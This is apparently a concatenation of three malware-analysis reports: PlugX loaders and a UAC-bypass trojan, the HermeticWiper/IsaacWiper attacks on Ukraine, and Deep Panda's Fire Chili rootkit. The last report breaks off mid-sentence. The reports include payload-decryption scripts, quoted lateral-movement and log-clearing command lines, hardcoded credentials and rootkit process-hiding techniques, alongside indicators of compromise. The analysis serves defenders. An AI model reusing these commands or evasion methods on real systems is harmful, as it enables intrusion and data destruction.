virus database: 2021-11-03 Virus description added: 2021-11-17 Packer: absent Compilation date: 2020-14-10 SHA1 hash: ff82dcadb969307f93d73bbed1b1f46233da762f Description The backdoors downloader, PlugX, is written in C. Operating principle After loading from the main module (msrers.exe) using the LoadLibraryW function, the trojan loads the kernel32.dll library using the LoadLibraryA. Then, it gets the address of the exported function GetModuleFileNameA: It then obtains the name of the main module using the previously obtained function GetModuleFileNameA. It checks if the name contains the substring "ers." (msrers.exe): From the hash, 0xEF64A41E gets the function VirtualProtect to change the memory access rights to PAGE_EXECUTE_READWRITE at 0x416362 (msrers.exe): The following fragment will modify the code at 0x416362 (msrers.exe): push 0xFFFFFFFF push 0x100010B0 ; func_addr Place in the main module to be modified: Next, a function is called that receives the base kernel32.dll, and the addresses of the functions by hashes. Script to get a function by hash: import pefile ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) max_bits = 32 library_path_list = [...] # absolute path dlls def get_func_addr(hash): for i in xrange(len(library_path_list)): library = library_path_list[i].split('\\') name_dll = library[len(library) - 1] pe = pefile.PE(library_path_list[i]) for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: func_name = exp.name hash_name_func = 0 for j in func_name: hash_name_func = ord(j) + ror(hash_name_func, 0x07, max_bits) if (hash_name_func == hash): print '0x{:08x} -> {} -> {}'.format(hash, name_dll, exp.name) return Received features: Function name Hash VirtualProtect 0xEF64A41E GetLastError 0x12F461BB CloseHandle 0xFF0D6657 Function name Hash ReadFile 0x130F36B2 VirtualAlloc 0x1EDE5967 GetFileSize 0xAC0A138E CreateFileA 0x94E43293 lstrcat 0x3E8F97C3 GetModuleFileNameA 0xB4FFAFED In the following, the below structure is used to call these functions: struct api_addr { DWORD (__stdcall *GetModuleFileNameA)(HMODULE, LPSTR, DWORD); LPSTR (__stdcall *lstrcat)(LPSTR, LPCSTR); HANDLE (__stdcall *CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); DWORD (__stdcall *GetFileSize)(HANDLE, LPDWORD); LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); BOOL (__stdcall *ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); BOOL (__stdcall *CloseHandle)(HANDLE); DWORD (__stdcall *GetLastError)(); Trojan takes the name dll (TmDbgLog.dll) and adds the ".TSC" extension to it. Next, it opens the file TmDbgLog.dll.TSC for reading and decrypts its contents, which turns out to be a shellcode. After decrypting the shellcode (TmDbgLog.dll), the trojan starts executing it: The below is how the script for decrypting the shellcode looks like: enc = bytearray(open('TmDbgLog.dll.TSC', 'rb').read()) dec = bytearray() for i in xrange(len(enc)): dec.append(((enc[i] ^ 0xbb) - 1) & 0xff) open('TmDbgLog.dll.TSC.dec', 'wb').write(dec) Before decrypting and running the payload, the shellcode assembles the following structure: struct st_mw { DWORD magic; DWORD *shell_base; DWORD shell_size; DWORD *enc_payload; DWORD enc_payload_size; DWORD *enc_config; DWORD enc_config_size; DWORD *payload_entry; This is what the encrypted config looks like: The config s decryption will be done directly in the payload: import struct enc = open('enc_cfg', 'rb').read() key, = struct.unpack('I', enc[0:4]) key1 = key key2 = key key3 = key dec = bytearray() for i in xrange(len(enc)): key = (key + (key >> 3) - 0x11111111) & 0xFFFFFFFF key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF key2 = (key2 + 0x33333333 - (key2 << 7)) & 0xFFFFFFFF key3 = (key3 + 0x44444444 - (key3 << 9)) & 0xFFFFFFFF dec.append(ord(enc[i]) ^ (key + key1 + key2 + key3) & 0xFF) open('dec_cfg', 'wb').write(dec) And it ll look like this: Encrypted payload: Script to decrypt the payload: import struct import ctypes enc = open('enc_payload', 'rb').read() key, = struct.unpack('I', enc[0:4]) key1 = key key2 = key key3 = key dec = bytearray() for i in xrange(len(enc)): key = (key + (key >> 3) + 0x55555556) & 0xFFFFFFFF key1 = (key1 + (key1 >> 5) + 0x44444445) & 0xFFFFFFFF key2 = (key2 + 0xCCCCCCCC - (key2 << 7)) & 0xFFFFFFFF key3 = (key3 + 0xDDDDDDDD - (key3 << 9)) & 0xFFFFFFFF dec.append(ord(enc[i]) ^ (key + key1 + key2 + key3) & 0xFF) d = bytes(dec) uncompress_size, = struct.unpack('I', d[8:12]) buf_decompressed = ctypes.create_string_buffer(uncompress_size) final_size = ctypes.c_ulong(0) ctypes.windll.ntdll.RtlDecompressBuffer(2, buf_decompressed, ctypes.sizeof(buf_decompressed), ctypes.c_char_p(d[0x10:]), len(d), ctypes.byref(final_size)) open('dec_payload', 'wb').write(buf_decompressed) After decrypting the payload, the shellcode transfers control to the trojan, with the previously assembled structure st_mw acting as one of the parameters: Further, the trojan works in the same way as the backdoor BackDoor.PlugX.28. Trojan.Uacbypass.21 Added to the Dr.Web virus database: 2021-10-22 Virus description added: 2021-10-22 Packer: absent Compilation date: 2019-09-29 SHA1 hash: 7412b13e27433db64b610f40232eb4f0bf2c8487 Description This trojan is written in C. It elevates backdoor privileges. It also disguises itself as a legitimate process and uses a COM object to bypass User Account Control (UAC). In this way, it elevates the executable process s privileges. Operating principle The trojan disguises as a legitimate process C:\Windows\explorer.exe via PEB (Process Environment Block). That s how it fools the IFileOperation COM object into thinking it being called from a Windows Explorer shell. The trojan obtains a COM object to implement UAC bypass via privilege elevation (https://github.com/cnsimo/BypassUAC/blob/master/BypassUAC_Dll/dllmain .cpp): It allows Trojan.Uacbypass.21 to run the file that was passed to it as an argument as a legitimate Windows process: Appendix. Indicators of Compromise SHA1 hashes Trojan.Loader.889 f783fc5d3fc3f923c2b99ef3a15a38a015e2735a: McUiCfg.dll Trojan.Loader.890 65f64cc7aaff29d4e62520afa83b621465a79823: SRVCON.OCX 8b9e60735344f91146627213bd13c967c975a783: CLNTCON.OCX 84d5f015d8b095d24738e45d2e541989e6221786: sti.dll 3d8a3fcfa2584c8b598836efb08e0c749d4c4aab: iviewers.dll Trojan.Loader.891 595b5a7f25834df7a4af757a6f1c2838eea09f7b: McUiCfg.dll Trojan.Loader.893 46e999d88b76cae484455e568c2d39ad7c99e79f: McUiCfg.dll Trojan.Loader.894 b1041acbe71d46891381f3834c387049cbbb0806: iviewers.dll Trojan.Loader.895 635e3cf8fc165a3595bb9e25030875f94affe40f: McUiCfg.dll Trojan.Loader.896 ff82dcadb969307f93d73bbed1b1f46233da762f: TmDbgLog.dll Trojan.Loader.898 429357f91dfa514380f06ca014d3801e3175894d: CLNTCON.OCX Trojan.Loader.899 cc5bce8c91331f198bb080d364aed1d3301bfb0c: LDVPTASK.OCX BackDoor.PlugX.93 a8bff99e1ea76d3de660ffdbd78ad04f81a8c659: CLNTCON.OCX BackDoor.PlugX.94 5a171b55b644188d81218d3f469cf0500f966bac BackDoor.PlugX.95 b3ecb0ac5bebc87a3e31adc82fb6b8cc4fb66d63: netcfg.dll BackDoor.PlugX.96 a3347d3dc5e7c3502d3832ce3a7dd0fc72e6ea49 BackDoor.PlugX.97 36624dc9cd88540c67826d10b34bf09f46809da7 BackDoor.PlugX.100 16728655e5e91a46b16c3fe126d4d18054a570a1 BackDoor.Whitebird.30 abfd737b14413a7c6a21c8757aeb6e151701626a a5829ed81f59bebf35ffde10928c4bc54cadc93b Trojan.Siggen12.35113 4f0ea31a363cfe0d2bbb4a0b4c5d558a87d8683e: rapi.dll Trojan.Uacbypass.21 20ad53e4bc4826dadb0da7d6fb86dd38f1d13255 Program.RemoteAdmin.877 23873bf2670cf64c2440058130548d4e4da412dd: AkavMiqo.exe Tool.Frp a6e9f5d8295d67ff0a5608bb45b8ba45a671d84c: firefox.exe 39c5459c920e7c0a325e053116713bfd8bc5ddaf: firefox.exe Network indicators Domains webmail.surfanny.com www.sultris.com mail.sultris.com pop3.wordmoss.com zmail.wordmoss.com youtubemail.club clark.l8t.net blog.globnewsline.com mail.globnewsline.com 45.144.242.216 45.147.228.131 46.105.227.110 5.183.178.181 5.188.228.53 103.30.17.44 103.93.252.150 103.230.15.41 103.251.94.93 104.233.163.136 159.65.157.100 180.149.241.88 185.105.1.226 192.236.177.250 209.250.241.35 IsaacWiper and HermeticWizard: New wiper and worm targeting Ukraine welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine March 1, 2022 As the recent hostilities started between Russia and Ukraine, ESET researchers discovered several malware families targeting Ukrainian organizations. On February 23rd, 2022, a destructive campaign using HermeticWiper targeted multiple Ukrainian organizations. This cyberattack preceded, by a few hours, the start of the invasion of Ukraine by Russian Federation forces Initial access vectors varied from one organization to another. We confirmed one case of the wiper being dropped by GPO, and uncovered a worm used to spread the wiper in another compromised network. Malware artifacts suggest that the attacks had been planned for several months. On February 24th, 2022, a second destructive attack against a Ukrainian governmental network started, using a wiper we have named IsaacWiper. ESET Research has not yet been able to attribute these attacks to a known threat actor. Destructive attacks in Ukraine As stated in this ESETResearch tweet and WLS blogpost, we uncovered a destructive attack against computers in Ukraine that started around 14:52 on February 23rd, 2022 UTC. This followed distributed denial-of-service (DDoS) attacks against major Ukrainian websites and preceded the Russian military invasion by a few hours. These destructive attacks leveraged at least three components: HermeticWiper: makes a system inoperable by corrupting its data HermeticWizard: spreads HermeticWiper across a local network via WMI and SMB HermeticRansom: ransomware written in Go HermeticWiper was observed on hundreds of systems in at least five Ukrainian organizations. On February 24th, 2022, we detected yet another new wiper in a Ukrainian governmental network. We named it IsaacWiper and we are currently assessing its links, if any, with HermeticWiper. It is important to note that it was seen in an organization that was not affected by HermeticWiper. Attribution At this point, we have not found any tangible connection with a known threat actor. HermeticWiper, HermeticWizard, and HermeticRansom do not share any significant code similarity with other samples in the ESET malware collection. IsaacWiper is still unattributed as well. Timeline HermeticWiper and HermeticWizard are signed by a code-signing certificate (shown in Figure 1) assigned to Hermetica Digital Ltd issued on April 13th, 2021. We requested the issuing CA (DigiCert) to revoke the certificate, which it did on February 24th, 2022. Figure 1. Code-signing certificate assigned to Hermetic Digital Ltd According to a report by Reuters, it seems that this certificate was not stolen from Hermetica Digital. It is likely that instead the attackers impersonated the Cypriot company in order to get this certificate from DigiCert. ESET researchers assess with high confidence that the affected organizations were compromised well in advance of the wiper s deployment. This is based on several facts: HermeticWiper PE compilation timestamps, the oldest being December 28th, 2021 The code-signing certificate issue date of April 13th, 2021 Deployment of HermeticWiper through GPO in at least one instance suggests the attackers had prior access to one of that victim s Active Directory servers The events are summarized in the timeline in Figure 2. Figure 2. Timeline of important events Initial access HermeticWiper The initial access vector is currently unknown but we have observed artifacts of lateral movement inside the targeted organizations. In one entity, the wiper was deployed through the default domain policy (GPO), as shown by its path on the system: C:\Windows\system32\GroupPolicy\DataStore\0\sysvol\\Policies\{31B2F340-016D-11D2-945F00C04FB984F9}\Machine\cc.exe This indicates that attackers likely took control of the Active Directory server. In other instances, it is possible that Impacket was used to deploy HermeticWiper. A Symantec blogpost states that the wiper was deployed using the following command line: cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1 The last part is the same as the default behavior in Impacket s wmiexec.py, found on GitHub. Finally, a custom worm that we have named HermeticWizard was used to spread HermeticWiper across the compromised networks via SMB and WMI. IsaacWiper The initial access vector is also currently unknown. It is likely that attackers used tools such as Impacket to move laterally. On a few machines, we have also observed RemCom, a remote access tool, being deployed at the same time as IsaacWiper. Technical analysis HermeticWiper HermeticWiper is a Windows executable with four drivers embedded in its resources. They are legitimate drivers from the EaseUS Partition Master software signed by CHENGDU YIWO Tech Development Co., and they implement low-level disk operations. The following files were observed: 0E84AFF18D42FC691CB1104018F44403C325AD21: x64 driver 379FF9236F0F72963920232F4A0782911A6BD7F7: x86 driver 87BD9404A68035F8D70804A5159A37D1EB0A3568: x64 XP driver B33DD3EE12F9E6C150C964EA21147BF6B7F7AFA9: x86 XP driver Depending on the operating system version, one of those four drivers is chosen and dropped in C:\Windows\System32\drivers\<4 random letters>.sys. It is then loaded by creating a service. HermeticWiper then proceeds by disabling the Volume Shadow Copy Service (VSS) and wipes itself from disk by overwriting its own file with random bytes. This anti-forensic measure is likely intended to prevent the analysis of the wiper in a post-incident analysis. It is interesting to note that most of the file operations are performed at a low level using DeviceIoControl calls. The following locations are overwritten with random bytes generated by the Windows API function CryptGenRandom: The master boot record (MBR) The master file table (MFT) $Bitmap and $LogFile on all drives The files containing the registry keys (NTUSER*) C:\Windows\System32\winevt\Logs In addition, it also recursively wipes folders and files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System Volume Information, and AppData folders, using a FSCTL_MOVE_FILE operation. This technique appears to be quite unusual and very similar to what is implemented in the Windows Wipe project on GitHub (see the wipe_extent_by_defrag function). It also wipes symbolic links and big files in My Documents and Desktop folders by overwriting them with random bytes. Finally, the machine is restarted. However, it will fail to boot, because the MBR, the MFT, and most files were wiped. We believe it is not possible to recover the impacted machines. HermeticWizard Looking for other samples signed by the same code-signing certificate (Hermetica Digital Ltd), we found a new malware family that we named HermeticWizard. It is a worm that was deployed on a system in Ukraine at 14:52:49 on February 23rd, 2022 UTC. It is a DLL file developed in C++ that exports the functions DllInstall, DllRegisterServer, and DllUnregisterServer. Its export DLL name is Wizard.dll. It contains three resources, which are encrypted PE files: A sample of HermeticWiper (912342F1C840A42F6B74132F8A7C4FFE7D40FB77) exec_32.dll, responsible for spreading to other local computers via WMI (6B5958BFABFE7C731193ADB96880B225C8505B73) romance.dll, responsible for spreading to other local computers via SMB (AC5B6F16FC5115F0E2327A589246BA00B41439C2) The resources are encrypted with a reverse XOR loop. Each block of four bytes is XORed with the previous block. Finally, the first block is XORed with a hardcoded value, 0x4A29B1A3. HermeticWizard is started using the command line regsvr32.exe /s /i . First, HermeticWizard tries to find other machines on the local network. It gathers known local IP addresses using the following Windows functions: DNSGetCacheDataTable GetIpNetTable WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY) NetServerEnum GetTcpTable GetAdaptersAddresses It then tries to connect to those IP addresses (and only if they are local IP addresses) to see if they are still reachable. In case the -s argument was provided when HermeticWizard was started (regsvr32.exe /s /i:-s ), it also scans the full /24 range. So, if 192.168.1.5 was found in, for example, the DNS cache, it incrementally scans from 192.168.1.1 to 192.168.1.254. For each IP address, it tries to open a TCP connection on the following ports: 20: ftp 21: ftp 22: ssh 80: http 135: rpc 137: netbios 139: smb 443: https 445: smb The ports are scanned in a random order so it s not possible to fingerprint HermeticWizard traffic that way. When it has found a reachable machine, it drops the WMI spreader (detailed below) on disk and creates a new process with the command line rundll32 \<6 random letters>.ocx #1 -s i . It does the same with the SMB spreader (detailed below) that is also dropped in \<6 random letters>.ocx, but with different random letters. Finally, it drops HermeticWiper in \<6 random letters>.ocx and executes it. WMI spreader The WMI spreader, named by its developers exec_32.dll, takes two arguments: -i: The target IP address -s: The file to copy and execute on the target machine First, it creates a connection to the remote ADMIN$ share of the target using WNetAddConnection2W. The file provided in the -s argument is then copied using CopyFileW. The remote file has a random name generated with CoCreateGUID (e.g., cB9F06408D8D2.dll) and the string format c%02X%02X%02X%02X%02X%02X. Second, it tries to execute the copied file, HermeticWizard, on the remote machine using DCOM. It calls CoCreateInstance with CLSID_WbemLocator as argument. It then uses WMI Win32_Process to create a new process on the remote machine, with the command line C:\windows\system32\cmd.exe /c start C:\windows\system32\\regsvr32.exe /s /i C:\windows\.dll. Note that the -s argument is not passed to HermeticWizard, meaning that it won t scan the local network again from this newly compromised machine. If the WMI technique fails, it tries to create a service using OpenRemoteServiceManager with the same command as above. If it succeeds in executing the remote DLL in any way, it sleeps until it can delete the remote file. SMB spreader The SMB spreader, named by its developers romance.dll, takes the same two arguments as the WMI spreader. Its internal name is likely a reference to the EternalRomance exploit, even if it does not use any exploit. First it attempts to connect to the following pipes on the remote SMB share (on port 445): samr browser netlogon lsarpc ntsvcs svcctl These are pipes known to be used in lateral movement. The spreader has a list of hardcoded credentials that are used in attempts to authenticate via NTLMSSP to the SMB shares: usernames guest test admin user root administrator manager operator passwords Qaz123 Qwerty123 This list of credentials is surprisingly short and is unlikely to work in even the most poorly protected networks. If the connection is successful, it attempts to drop, to the target ADMIN$ share, the file referenced by the -s argument. As for the WMI spreader, the remote filename is generated by a call to CoCreateInstance. It then executes, via SMB, the command line cmd /c start regsvr32 /s /i ..\\ & start cmd /c \ ping localhost -n 7 & wevtutil cl System\ HermeticRansom ESET researchers also observed HermeticRansom ransomware written in Go being used in Ukraine at the same time as the HermeticWiper campaign. HermeticRansom was first reported in the early hours of February 24th, 2022 UTC, in a tweet from AVAST. Our telemetry shows a much smaller deployment compared to HermeticWiper. This ransomware was deployed at the same time as HermeticWiper, potentially in order to hide the wiper s actions. On one machine, the following timeline was observed: 2022-02-23 17:49:55 UTC: HermeticWiper in C:\Windows\Temp\cc.exe deployed 2022-02-23 18:06:57 UTC: HermeticRansom in C:\Windows\Temp\cc2.exe deployed by the netsvcs service 2022-02-23 18:26:07 UTC: Second HermeticWiper in C:\Users\com.exe deployed On one occasion, we observed HermeticRansom being deployed through GPO, just like HermeticWiper: C:\WINDOWS\system32\GroupPolicy\DataStore\0\sysvol\\Policies\{31B2F340-016D-11D2-945F00C04FB984F9}\Machine\cpin.exe A few strings were left in the binary by the attackers; they reference US President Biden and the White House: _/C_/projects/403forBiden/wHiteHousE.baggageGatherings _/C_/projects/403forBiden/wHiteHousE.lookUp _/C_/projects/403forBiden/wHiteHousE.primaryElectionProcess _/C_/projects/403forBiden/wHiteHousE.GoodOffice1 Once files are encrypted, the message in Figure 3 is displayed to the victim. Figure 3. HermeticRansom s ransom note IsaacWiper IsaacWiper is found in either a Windows DLL or EXE with no Authenticode signature; it appeared in our telemetry on February 24th, 2022. As mentioned earlier, the oldest PE compilation timestamp we have found is October 19th, 2021, meaning that if its PE compilation timestamp was not tampered with, IsaacWiper might have been used in previous operations months earlier. For DLL samples, the name in the PE export directory is Cleaner.dll and it has a single export _Start@4. We have observed IsaacWiper in %programdata% and C:\Windows\System32 under the following filenames: clean.exe cl.exe cl64.dll cld.dll cll.dll It has no code similarity with HermeticWiper and is way less sophisticated. Given the timeline, it is possible that both are related but we haven t found any strong connection yet. IsaacWiper starts by enumerating the physical drives and calls DeviceIoControl with the IOCTL IOCTL_STORAGE_GET_DEVICE_NUMBER to get their device numbers. It then wipes the first 0x10000 bytes of each disk using the ISAAC pseudorandom generator. The generator is seeded using the GetTickCount value. It then enumerates the logical drives and recursively wipes every file of each disk with random bytes also generated by the ISAAC PRNG. It is interesting to note that it recursively wipes the files in a single thread, meaning that it would take a long time to wipe a large disk. On February 25th, 2022, attackers dropped a new version of IsaacWiper with debug logs. This may indicate that the attackers were unable to wipe some of the targeted machines and added log messages to understand what was happening. The logs are stored in C:\ProgramData\log.txt and some of the log messages are: getting drives start erasing physical drives start erasing logical drive start erasing system physical drive system physical drive FAILED start erasing system logical drive Conclusion This report details a destructive cyberattack that impacted Ukrainian organizations on February 23rd, 2022, and a second attack that affected a different Ukrainian organization from February 24th through 26th, 2022. At this point, we have no indication that other countries were targeted. However, due to the current crisis in Ukraine, there is still a risk that the same threat actors will launch further campaigns against countries that back the Ukrainian government or that sanction Russian entities. IoCs SHA-1 Filename ESET detection name Description 912342F1C840A42F6B74132F8A7C4FFE7D40FB77 com.exe Win32/KillDisk.NCV HermeticWip 61B25D11392172E587D8DA3045812A66C3385451 conhosts.exe Win32/KillDisk.NCV HermeticWip 3C54C9A49A8DDCA02189FE15FEA52FE24F41A86F c9EEAF78C9A12.dat Win32/GenCBL.BSP HermeticWiz F32D791EC9E6385A91B45942C230F52AFF1626DF cc2.exe WinGo/Filecoder.BK HermeticRan AD602039C6F0237D4A997D5640E92CE5E2B3BBA3 cl64.dll Win32/KillMBR.NHP IsaacWiper 736A4CFAD1ED83A6A0B75B0474D5E01A3A36F950 cld.dll Win32/KillMBR.NHQ IsaacWiper E9B96E9B86FAD28D950CA428879168E0894D854F clean.exe Win32/KillMBR.NHP IsaacWiper 23873BF2670CF64C2440058130548D4E4DA412DD XqoYMlBX.exe Win32/RiskWare.RemoteAdmin.RemoteExec.AC Legitimate RemCom rem access tool MITRE ATT&CK techniques This table was built using version 10 of the MITRE ATT&CK framework. Tactic Name Description Resource Development T1588.002 Obtain Capabilities: Tool Attackers used RemCom and potentially Impacket as part of their campaign. T1588.003 Obtain Capabilities: Code Signing Certificates Attackers acquired a code-signing certificate for their campaigns. T1078.002 Valid Accounts: Domain Accounts Attackers were able to deploy wiper malware through GPO. Initial Access Tactic Name Description Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell Attackers used the command line during their attack (e.g., possible Impacket usage). T1106 Native API Attackers used native APIs in their malware. T1569.002 System Services: Service Execution HermeticWiper uses a driver, loaded as a service, to corrupt data. T1047 Windows Management Instrumentation HermeticWizard attempts to spread to local computers using WMI. Discovery T1018 Remote System Discovery HermeticWizard scans local IP ranges to find local machines. Lateral Movement T1021.002 Remote Services: SMB/Windows Admin Shares HermeticWizard attempts to spread to local computers using SMB. T1021.003 Remote Services: Distributed Component Object Model HermeticWizard attempts to spread to local computers using WbemLocator to remotely start a new process via WMI. T1561.002 Disk Wipe: Disk Structure Wipe HermeticWiper corrupts data in the system s MBR and MFT. T1561.001 Disk Wipe: Disk Content Wipe HermeticWiper corrupts files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System Volume Information, and AppData. T1485 Data Destruction HermeticWiper corrupts user data found on the system. T1499.002 Endpoint Denial of Service: Service Exhaustion Flood By using DDoS attacks, the attackers made a number of government websites unvailable. Impact 1 Mar 2022 - 02:00PM Newsletter New Milestones for Deep Panda: Log4Shell and Digitally Signed Fire Chili Rootkits fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits March 30, 2022 FortiGuard Labs Research Affected Platforms: Windows Impacted Users: Windows Users Impact: Collects sensitive information from victim machines Severity Level: Critical During the past month, FortiEDR detected a campaign by Deep Panda, a Chinese APT group. The group exploited the infamous Log4Shell vulnerability in VMware Horizon servers. The nature of targeting was opportunistic insofar that multiple infections in several countries and various sectors occurred on the same dates. The victims belong to the financial, academic, cosmetics, and travel industries. Following exploitation, Deep Panda deployed a backdoor on the infected machines. Following forensic leads from the backdoor led us to discover a novel kernel rootkit signed with a stolen digital certificate. We found that the same certificate was also used by another Chinese APT group, named Winnti, to sign some of their tools. In this blog, we share our analysis of the flow of infection, the backdoor, and new rootkit, along with our attribution of this campaign to these Chinese nation-state threat actors. Chain of Attack While examining customer alerts and telemetry, we noticed several infiltrations into victim networks that were achieved via a Log4Shell exploitation of vulnerable VMware Horizon servers. These attacks spawned a new PowerShell process to download and execute a chain of scripts that ended with the installation of a malicious DLL. 1/16 Figure 1: Flow of events from Log4Shell exploitation to execution of the final payload The encoded PowerShell command downloads another PowerShell script from a remote server and executes it. Figure 2: The decoded PowerShell command The next stage PowerShell script downloads three additional files from the same server: 1.bat, syn.exe and 1.dll. 2/16 Figure 3: Content of the p.txt PowerShell script downloaded from the server The script then executes 1.bat, which in turn executes syn.exe and proceeds to delete all three files from the disk. Figure 4: Content of 1.bat script downloaded from the server syn.exe is a program that loads its first command-line argument using LoadLibrary, in this case, 1.dll. The 1.dll module is the final payload, a backdoor that we have dubbed Milestone. Its code is based on the leaked source code of Gh0st RAT/Netbot Attacker and is packed with Themida. The backdoor copies itself to %APPDATA%\newdev.dll and creates a service named msupdate2 by creating the service entry directly in the registry. Several other service names and descriptions have been observed among different samples. Figure 5: msupdate2 service registered by Milestone While it has the same name as the legitimate Microsoft newdev.dll, it has only two of the real newdev.dll's exports plus an additional ServiceMain export. Figure 6: Exports of the malicious Milestone 3/16 Overall, the backdoor has capabilities similar to Gh0st RAT s, with notable differences. Its C2 communication is uncompressed, unlike Gh0st RAT communication which is zlib-compressed. There are differences in commands as well. For example, in the CMD command, some variants first copy cmd.exe to dllhost.exe to avoid detection by security products that monitor CMD executions. Additionally, the backdoor supports a command that sends information about the current sessions on the system to the server. This command does not exist in the original Gh0st RAT source code. Among the many backdoor samples we hunted down, there are two distinguishable versions: binaries compiled in 2016 contain the version string MileStone2016, while those compiled in 2017 contain MileStone2017. The samples used in the recent infections we detected are only the 2017 variants. There are several differences between the 2016 and 2017 Milestones. First, 2017 Milestones are typically packed with Themida, while 2016 ones are unpacked. Secondly, although 2016 Milestones have plausible timestamps, all 2017 Milestones share an identical timestamp, which leads us to believe they are forged. Combined with the fact that 2017 backdoors are used in attacks to this day, it is uncertain whether they were compiled in 2017 or much later. The two versions also slightly differ in commands and communication. 2016 Milestones apply XOR encryption to their communication, as well as support a command to execute as a new user with administrator privileges. To do so, the backdoor first creates a new administrator user on the system, with the username ANONYMOUS and the password MileSt0ne2@16. It then executes another instance of itself as that user with CreateProcessAsUser and proceeds to remove the user from the system immediately thereafter. A Stone s Throw Away In addition to the backdoors, we obtained a third type of sample a dropper. It writes three files to the disk: Benign executable %APPDATA%\syn.exe Milestone loader %APPDATA%\newdev.dll Driver C:\Windows\system32\drivers\crtsys.sys The payloads above are stored XOR-encrypted and LZMA-compressed. The XOR key is a hardcoded DWORD that changes between samples. The dropper carries two builds of the driver for 32-bit and 64-bit systems. Using the Service Control Manager (SCM) API, it installs the build compliant with the operating system architecture as a driver named FSFilter-Min. The dropper patches the .data section of the loader binary to add its configuration before it writes it to disk. Next, the dropper executes syn.exe, a benign executable signed by Synaptics, in order to side-load the newdev.dll loader module. The loader also contains a XOR-encrypted and LZMA-compressed payload, which is a Milestone backdoor. It decrypts the configuration with XOR 0xCC and, like the dropper, patches the backdoor .data section with it. The configuration contains the backdoor s version, C2 server address and service parameters. Finally, the loader reflectively loads the Milestone backdoor and calls its exports. 4/16 Figure 7: Example of a decrypted configuration Fire Chili Rootkit As part of our research, we have collected four driver samples two pairs of 32-bit and 64-bit samples. One pair was compiled in early August 2017 and the second pair was compiled ten days later. All four driver samples are digitally signed with stolen certificates from game development companies, either the US-based Frostburn Studios or the Korean 433CCR Company (433 ). The signatures made with Frostburn Studios certificate are even timestamped. Figure 8: Digital signature of a crtsys.sys driver Two of the samples are on VirusTotal and have a very low detection rate. 5/16 Figure 9: Detection rates of the rootkit samples from VirusTotal The rootkit starts by ensuring the victim machine is not running in safe mode. It then checks the operating system version. The rootkit uses Direct Kernel Object Modification (DKOM), which involves undocumented kernel structures and objects, for its operations. For this reason, it relies on specific OS builds as otherwise it may cause the infected machine to crash. In general, the latest supported build is Windows 10 Creators Update (Redstone 2), released in April 2017. The purpose of the driver is to hide and protect malicious artifacts from user-mode components. This includes four aspects: files, processes, registry keys and network connections. The driver has four global lists, one for each aspect, that contain the artifacts to hide. The driver s IOCTLs allow dynamic configuration of the lists through its control device \Device\crtsys. As such, the dropper uses these IOCTLs to hide the driver s registry key, the loader and backdoor files, and the loader process. IOCTL Action Description 0xF3060000 Hide file Add a path to global file list 0xF3060004 Stop hiding file Remove a path from global file list 0xF3060008 Hide\protect process Add a file path or PID to global process list 0xF306000C Stop hiding\protecting process Remove a file path or PID from global process list 6/16 0xF3060010 Hide registry key Add a key to global registry list 0xF3060014 Stop hiding registry key Remove a key from global registry list 0xF3060018 Hide network connections Add a file path or port number to global network list 0xF306001C Stop hiding network connections Remove a file path or port number from global network list Files The rootkit implements a filesystem minifilter using code based on Microsoft s official driver code samples. Prior to registering the minifilter instance, it dynamically creates an instance in the registry named Sfdev32TopInstance with altitude 483601. The rootkit sets only one callback for a postoperation routine for IRP_MJ_DIRECTORY_CONTROL. When it receives an IRP with a minor function of IRP_MN_QUERY_DIRECTORY and a filename from the global file list, the callback changes the filename to and the filename length to 0 (in the FILE_BOTH_DIR_INFORMATION structure). The global file list is initialized with the path of the driver by default (*\SYSTEM32\DRIVERS\CRTSYS.SYS). Processes There are two mechanisms pertaining to processes: Preventing process termination. Hiding a process. To prevent the termination of a process, the rootkit denies the PROCESS_TERMINATE access right of the processes it protects. Using ObRegisterCallbacks, it registers a preoperation callback routine that triggers whenever a handle to a process or thread is created or duplicated in the system. When the handle access originates from user-mode and the image path or PID of the handle target are in the global process list, the driver removes the PROCESS_TERMINATE permission from the DesiredAccess parameter. This results in restricting user-mode processes from acquiring the permissions needed to terminate the threat actor s malicious processes using standard APIs. 7/16 Figure 10: Unsetting the PROCESS_TERMINATE bit of DesiredAccess To hide a process, the rootkit monitors all newly created processes on the system by registering a callback using the PsSetCreateProcessNotifyRoutine API. Whenever a new process is created on the system, the rootkit checks if its path is in the global process list. If so, the process is removed from the ActiveProcessLinks list of the EPROCESS structure, which is a circular doubly-linked list of all running processes on the system. The driver removes the process s list entry from ActiveProcessLinks by linking its Flink (the next entry) to its Blink (the previous entry). As a result, the process is hidden from utilities such as Task Manager. Figure 11: Removing a process from ActiveProcessLinks Since the EPROCESS structure changes between Windows builds, the rootkit resolves the ActiveProcessLinks offset dynamically during runtime. It traverses the process s EPROCESS structure, comparing each member to its PID, to locate the offset of the UniqueProcessId field. When found, the 8/16 ActiveProcessLinks offset is also easily located as it is the next field in the EPROCESS structure. The older rootkit samples use the hiding mechanism on Windows 8 and below, while the newer samples use it on only Windows 7 and below. By default, the global process list is initialized with the path *\qwerty.exe. However, we have not observed any file with this name related to the campaign. Registry Keys The rootkit hides registry keys from users using Microsoft s Registry Editor. The code is based on an open-source project published by a Chinese developer. The HHIVE->GetCellRoutine functions of keys in the global registry keys list are replaced with a filter function. When the path of the querying process is *\WINDOWS\REGEDIT.EXE, the function simply returns 0 in place of the key node. By default, the global registry list is initialized with the rootkit s registry key (\REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\CRTSYS). Network Connections The rootkit is capable of 